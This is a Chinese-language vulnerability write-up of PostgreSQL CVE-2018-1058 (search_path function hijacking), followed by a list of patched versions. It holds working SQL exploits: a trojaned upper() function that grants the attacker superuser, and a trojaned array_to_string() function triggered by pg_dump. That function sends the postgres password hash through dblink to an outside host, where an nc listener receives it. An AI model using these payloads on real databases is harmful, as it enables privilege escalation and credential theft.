PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】

2018-03-07 3,464

漏洞描述

20180306163548-5f2d7c64-2119-1.png

A flaw was found in the way Postgresql allowed a user to modify the behavior of a query for other users. An attacker with a user account could use this flaw to execute code with the permissions of superuser in the database. Versions 9.3 through 10 are affected.

漏洞影响版本:https://www.securityfocus.com/bid/103221


基本环境搭建

PostgreSQL(win平台)下载地址: PostgreSQL-9.6.7

$ psql -U postgres
postgres=# CREATE DATABASE evil;
postgres=# CREATE USER chybeta WITH PASSWORD 'chybeta';
CREATE ROLE
postgres=# GRANT ALL PRIVILEGES ON DATABASE evil to chybeta;
GRANT

基本环境如下:

超级用户:postgres
普通用户:chybeta
数据库: evil


漏洞分析/利用

基本场景

先看一些基本场景。普通用户chybeta登陆:

$ psql -U chybeta -d evil

通过 SELECT SESSION_USER ;获知当前的会话用户:

2.png

我们在 public 模式中创建一张表以及对应的字段:

evil=>  
SELECT 1

紧接着进行查询:

evil=> SELECT * FROM test;

3.png

接着我们新创建一个模式(schema),其模式名即为chybeta,也即当前的SESSION_USER:

evil=> CREATE schema chybeta;

然后在chybeta 模式中创建对应的表以及字段:

evil=> CREATE TABLE chybeta.test AS SELECT 'i am chybeta'::text AS test;

然后我们执行跟上次相同的查询语句:

evil=> SELECT * FROM test;

20180306154554-6659a8ca-2112-1.png

为什么两次查询出现了不同的结果呢?这个涉及到PostgreSQL的search_path。PostgreSQL 7.3后引入了schema的概念,称之为模式或者架构,允许用户在独立的命名空间中创建不同的对象(比如table,function)。在默认情况下,比如刚刚创建的一个数据库,都会有默认的一个public模式,在不做其他操作或者设定的情况下,诸如查询等操作都是在这个public中进行查询。

比如说:

SELECT * FROM test;

也即等价于:

SELECT * FROM public.test;

22.png

由于采用了独立的命名空间,因此在用户进行查询时,倘若涉及到对相同名字但在不同schema中的对象操作时,必然需要考虑一定的顺序。在PostgreSQL 9.6.7的官方文档中,search_path (string)说明了相关场景中的相应匹配动作,截取部分如下:

When there are objects of identical names in different schemas, the one found first in the search path is used.
If one of the list items is the special name $user, then the schema having the name returned by SESSION_USER is substituted, if there is such a schema and the user has USAGE permission for it. (If not, $user is ignored.)
The system catalog schema, pg_catalog, is always searched, whether it is mentioned in the path or not. If it is mentioned in the path then it will be searched in the specified order. If pg_catalog is not in the path then it will be searched before searching any of the path items.

即:

  1. 首先适配原则,第一个找到的object被使用

  2. 名为$user的schema由SESSION_USER决定

  3. 如果pg_catalog不在path中则会最先查找它,如果在path中则按照指定顺序查找

第1、2点即如前面所示,但PostgreSQL在对第3点的实现上出现了Design Error(securityfocus的分类),造成了代码执行漏洞。

利用方式

在Postgres的commit记录中,有如下commit:

As special exceptions, the following client applications behave as documented
regardless of search_path settings and schema privileges: clusterdb
createdb createlang createuser dropdb droplang dropuser ecpg (not
programs it generates) initdb oid2name pg_archivecleanup pg_basebackup
pg_config pg_controldata pg_ctl pg_dump pg_dumpall pg_isready
pg_receivewal pg_recvlogical pg_resetwal pg_restore pg_rewind pg_standby
pg_test_fsync pg_test_timing pg_upgrade pg_waldump reindexdb vacuumdb
vacuumlo.  Not included are core client programs that run user-specified
SQL commands, namely psql and pgbench.

上面的commit提到了两类的client applications。下文的较为直观的利用方式一是针对第二类client applications(比如psql),然后利用方式二是通过第一类client applications来执行任意代码,相比较下更为隐蔽。

利用方式一

在系统schemapg_catalog中,定义了大量的函数,用pgAdmin3查看:

21231.png

以函数abs系列为例,接受一个类型为bigint\smallint\intger\real\double precision\numeric的参数,返回其绝对值。倘若我们传送一个非数值类型的参数呢,比如text,

evil=> select abs('chybeta');

由于并没有参数类型为text的abs函数,会直接报错:

888.png

但postgres提供了自定义函数的功能!我们创建如下函数:

CREATE FUNCTION public.abs(TEXT) RETURNS TEXT AS $$
     SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;

当我们再次执行同样的查询语句,根据postgres的设计流程,它会先去查找系统schema pg_catalog ,但由于参数类型不同没有找到,接着按照search_path中的顺序查找,而我们定义的abs(text)存在于schema public 中,参数符合,因此pg理所当然地执行了我们定义的函数:

666666.png

注意一个点,这个函数是定义在schema public 中的,也就是说对于进入到这个数据库的任何用户,只要他们调用了abs,且参数为text,都有可能会诱发恶意的代码执行。比如以超级用户postgres执行:

1.png

不过有谁会傻乎乎的去运行一个莫名其妙的abs(text)呢?因此真正的攻击手段是将过程隐藏到看似正常的数据库查询中。这次我们选择schema pg_catalog 中的另外一类函数比如lower(text),upper(text),它们分别将text类型的参数转成小写和大写,不过系统没有提供接受varchar参数的lower和upper,尽管可以进行类型转换,但对pg而言,最好的选择当然是参数类型恰好符合的恶意自定义函数。

创建一个表,值的类型为varchar:

CREATE TABLE public.hahahaha AS SELECT 'CHYBETA'::varchar AS contents;

创建对应的恶意函数:

CREATE FUNCTION public.lower(varchar) RETURNS TEXT AS $$
     SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;

对绝大部分用户而言,他们可能看大写的 CHYBETA 不爽,然后执行了lower函数,但在不知道/清楚类型的情况下,他们执行的是public中的恶意自定义函数。

A.png

只能打印you are hacked by XXX有毛用!!由于恶意自定义函数可以被超级用户调用到,因此也就有了相应的执行权限,最简单的比如提权。

先来看看权限情况(以超级用户为例),可以看到只有postgres的rolsuper是t,即true:

C.png

在用户chybeta登陆进evil数据库后,他创建了如下 upper函数 :

CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
    ALTER ROLE chybeta SUPERUSER;
    SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;

AA.png

注意这里是VOLATILE,具体原因参考官方文档:xfunc-volatility

另外一张table,小写的chybeta:

CREATE TABLE public.hehehehe AS SELECT 'chybeta'::varchar AS contents;

管理员一看,心中不爽:小写小写就知道小写,然后:

cC.png

看上去一切正常,大写的大写。回到用户chybeta处,查看一下权限:

BB.png

已经成为超级用户。

利用方法有很多,理论上只要能创建恶意函数,管理员调用,就是以管理员身份去执行恶意sql语句/代码。在这种情况中,如commit所说Not included are core client programs that run user-specified SQL commands, namely psql and pgbench.,被攻击用户是知道自己执行的sql语句,只是其中的某个function意义被掉包了。

利用方式二

安装完PostgreSQL后还会有一系列的工具,比如pg_dump、pg_dumpall等等。基于利用方式一,在创建了恶意函数的基础之上,可以通过这些工具来执行恶意函数。这些工具在执行过程中会动态设定search_path,导致public的优先级比pg_catalog高,也就是说即使是在相同类型相同参数相同函数名的情况下,会选择public中的函数。相比第一种而言隐蔽性更强,同时有更高的可触发性。

为利用pg_dump中的sql语句,可以利用log来观察执行过程。在superuser的权限下show log_directory;找到log目录,将目录下postgresql.conf中的约莫455行改为log_statement = all。重启PostgreSQL后,使用pg_dump工具执行备份命令:

pg_dump -U postgres -f evil.bak evil

同时观察log输出,查找statement: SET search_path =,最后在某处我发现了一段这样的log:

AAA.png

可以看到在这段log中,有一处的array_to_string是没有指定schema的。在系统schema中它的定义如下:

ccc.png

在这里由于已经设定了search_path,为了能直接适配,这里创建的恶意函数的参数个数和类型都必须和pg_catalog中定义的相同,倘若不同则会按顺序匹配到正确的函数。

因为pg_dump在运行过程中开启的是read only transaction,根据官方文档:

The transaction access mode determines whether the transaction is read/write or read-only. Read/write is the default. When a transaction is read-only, the following SQL commands are disallowed: INSERT, UPDATE, DELETE, and COPY FROM if the table they would write to is not a temporary table; all CREATE, ALTER, and DROP commands; COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed. This is a high-level notion of read-only that does not prevent all writes to disk.

是不允许执行下类操作的:

  1. INSERT, UPDATE, DELETE, COPY FROM

  2. all CREATE, ALTER, and DROP commands

  3. COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed

不过并没有禁止select语句。如果开启了dblink,则可以利用查询来带出数据,比如用dblink_connect。因此我们创建这样的一个恶意函数:

CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=192.168.248.132 port=12345 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

远程vps上监听:

nc -lvv 12345

当管理员进行数据库备份时:

pg_dump -U postgres -f evil.bak evil

qwqwqwq.png

即可得到管理员密码:

CCCCCCCCCCCCCCCCCCCCCCC.png


漏洞修补

以下版本修复了该漏洞

  • PostgreSQL PostgreSQL 9.6.8 

  • PostgreSQL PostgreSQL 9.5.12 

  • PostgreSQL PostgreSQL 9.4.17 

  • PostgreSQL PostgreSQL 9.3.22

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